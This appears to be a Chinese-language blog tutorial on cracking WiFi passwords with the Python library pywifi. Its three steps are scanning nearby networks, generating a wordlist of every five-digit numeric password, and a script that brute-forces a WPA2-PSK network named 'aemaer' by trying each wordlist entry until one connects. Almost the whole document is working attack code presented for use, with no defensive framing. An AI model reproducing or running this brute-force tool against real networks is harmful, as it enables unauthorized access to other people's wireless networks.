1、程序需要的模块
pywifi
2、第一步
创建一个wifi.py程序
import pywifi
from pywifi import const #引用一些常量
#判断是否已经连接到wifi
def gic():
#创建一个无线网卡
wifi=pywifi.PyWiFi()
#获取到第一个无线网卡
iface=wifi.interfaces()[0]
#列表
# print(iface.name())
#打印网卡连接状态
if iface.status()==const.IFACE_CONNECTED:
print("已连接")
else:
print("未连接")
# gic()
# 扫描附近wifi
def bies():
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
# 扫描wifi
ifaces.scan()
# 获取扫描结果
result=ifaces.scan_results()
for data in result:
print(data.ssid)
# print(result)
bies()
程序实现创建一个无线网卡(注:台式电脑没有自带无线网卡 程序可能报错)
扫描并显示附近wifi
第二步:创建密码本
密码本可以在网上下载,也可以自己写
import itertools as its
# 迭代器
words="1234567890"
r=its.product(words,repeat=5)
# 保存到文件中
dic=open("pass.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
生成的密码本
第三步:
# 导入模块 # 抓取网卡接口 # 断开所有wifi # 读取密码本 # 设置睡眠时间 # 测试连接
import pywifi
from pywifi import const
import time
# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 设置睡眠时间
# 测试连接
# 测试连接 返回连接结果
def wificonnect(psd):
# 抓取网口
wifi=pywifi.PyWiFi()
iface=wifi.interfaces()[0]
print(iface)
#断开所有连接
iface.disconnect()
# time.sleep(1)
wifistatus=iface.status()
if wifistatus==const.IFACE_DISCONNECTED:
# print("未连接")
#创建wifi连接文件
profile=pywifi.Profile()
#wifi名
profile.ssid="aemaer"
#网卡开放
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#密码
profile.key=psd
print(psd)
#删除所有WiFi文件
iface.remove_all_network_profiles()
#设置新的连接文件
tep_profile=iface.add_network_profile(profile)
iface.connect(tep_profile)
time.sleep(0.5)
if iface.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已连接")
# wificonnect()
def read_password():
print("开始破解:")
path="D:\\PyCharm 2017.2\wifi破解\pass.txt"
file=open(path,"r")
while True:
try:
passStr=file.readline()
# print(passStr)
bool=wificonnect(passStr)
if bool:
print("密码正确",passStr)
break
else :
print("密码不正确",passStr)
except:
continue
read_password()
程序还可以进一步完善